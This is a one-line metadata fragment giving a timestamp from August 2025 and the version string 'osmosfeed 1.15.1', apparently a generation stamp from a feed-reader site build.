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2025-08-04T11:25:33.249Z osmosfeed 1.15.1